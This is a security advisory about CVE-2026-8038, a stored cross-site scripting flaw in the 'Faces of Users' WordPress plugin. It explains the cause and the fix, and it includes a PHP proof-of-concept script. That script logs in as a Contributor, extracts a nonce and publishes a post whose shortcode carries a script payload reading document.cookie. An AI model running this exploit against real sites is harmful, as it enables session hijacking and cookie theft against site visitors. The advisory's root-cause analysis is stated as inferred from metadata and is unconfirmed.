Atomic Edge analysis of CVE-2026-8038 (metadata-based): This vulnerability describes a Stored Cross-Site Scripting (XSS) issue in the ‘Faces of Users’ WordPress plugin, affecting versions up to 0.0.3. The flaw exists in the ‘facesofusers’ shortcode and allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the ‘default’ shortcode attribute. The CVSS score of 6.4 indicates medium severity with a network attack vector, low attack complexity, and required privileges, but with a scope change meaning the impact can affect other users.
The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping on the ‘default’ attribute of the plugin’s shortcode. The plugin likely registers a shortcode ‘facesofusers’ that accepts a ‘default’ parameter. When this shortcode is parsed and rendered on a page or post, the plugin fails to properly sanitize or escape the value of this attribute before outputting it as HTML. This conclusion is inferred from the CWE metadata but cannot be confirmed without source code. The plugin likely uses WordPress functions like `shortcode_atts` to extract the attribute but fails to apply `esc_attr()` or `wp_kses()` for sanitization and `esc_html()` for output.
Exploitation requires an attacker with at least Contributor-level permissions (required to publish or save posts with shortcodes). The attacker crafts a post or page containing the vulnerable shortcode, for example: `[facesofusers default=”<script>alert(‘XSS’)</script>”]`. When the attacker saves or updates the post, the plugin processes the shortcode attribute. Because the attribute value lacks proper escaping, the script payload is stored in the post content and later rendered unsanitized in the browser of any user viewing that page. The attack vector involves creating or editing a post in the WordPress editor and inserting the malicious shortcode. No specific AJAX action or REST endpoint is involved; this is a standard shortcode rendering flow.
Remediation must address the missing sanitization and escaping. The plugin developer should process the ‘default’ attribute using WordPress’s built-in data validation functions. Specifically, the attribute should be sanitized with `sanitize_text_field()` if it expects plain text, or with `wp_kses()` if it needs to allow safe HTML. When outputting the value inside the shortcode’s HTML, the developer must use `esc_html()` or `esc_attr()` (if inside a tag attribute) to neutralize any HTML or JavaScript. Since no patched version is available, users should uninstall or disable the plugin immediately.
If exploited, this vulnerability allows an attacker to inject arbitrary JavaScript that executes in the context of any user visiting the compromised page. This could lead to session hijacking, cookie theft, defacement of the site, or phishing attacks. Because the attack is stored and persistent, every visitor to the affected page is at risk. The attacker does not need administrative privileges; Contributor-level access is sufficient, making this a significant risk for multi-author WordPress environments.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8038 - Faces of Users <= 0.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'default' Shortcode Attribute
// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress site
$username = 'attributor'; // Change to a valid Contributor or higher account
$password = 'attributor_password';
// Exploit payload: XSS script stored in the 'default' attribute
$payload = '<script>alert(document.cookie)</script>';
$shortcode = '[facesofusers default="' . $payload . '"]';
// Step 1: Login to WordPress and get nonce for post creation
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get the WP nonce for creating a new post (from the admin page)
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Extract _wpnonce from the response (Admin AJAX nonce pattern)
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)" />/', $response, $matches);
if (empty($matches[1])) {
die('Failed to extract nonce');
}
$nonce = $matches[1];
// Extract the wp-ajax nonce for media upload (not needed for this exploit, but good for context)
preg_match('/<script type="text/javascript">window._wpnonce = "([^"]+)";/', $response, $matches_ajax_nonce);
$ajax_nonce = $matches_ajax_nonce[1] ?? '';
curl_close($ch);
// Step 3: Create post with malicious shortcode
$create_post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
'_wpnonce' => $nonce,
'post_status' => 'publish',
'post_title' => 'Atomic Edge CVE-2026-8038 Test',
'content' => $shortcode,
'post_type' => 'post',
'user_ID' => '1', // This field might be required; we assume user ID is 1 for the primary admin
'action' => 'editpost',
'original_post_status' => 'draft',
'originalaction' => 'editpost',
'post_author' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Output result
if (strpos($response, 'Post published.') !== false || strpos($response, 'message=6') !== false) {
echo '[+] Exploit payload delivered successfully. Post created with malicious shortcode.' . PHP_EOL;
echo '[+] The stored XSS will execute when any user views the post.' . PHP_EOL;
} else {
echo '[-] Exploit may have failed. Check response for errors.' . PHP_EOL;
echo 'Response snippet: ' . substr($response, 0, 500);
}
// Clean up cookie file
unlink('/tmp/cookies.txt');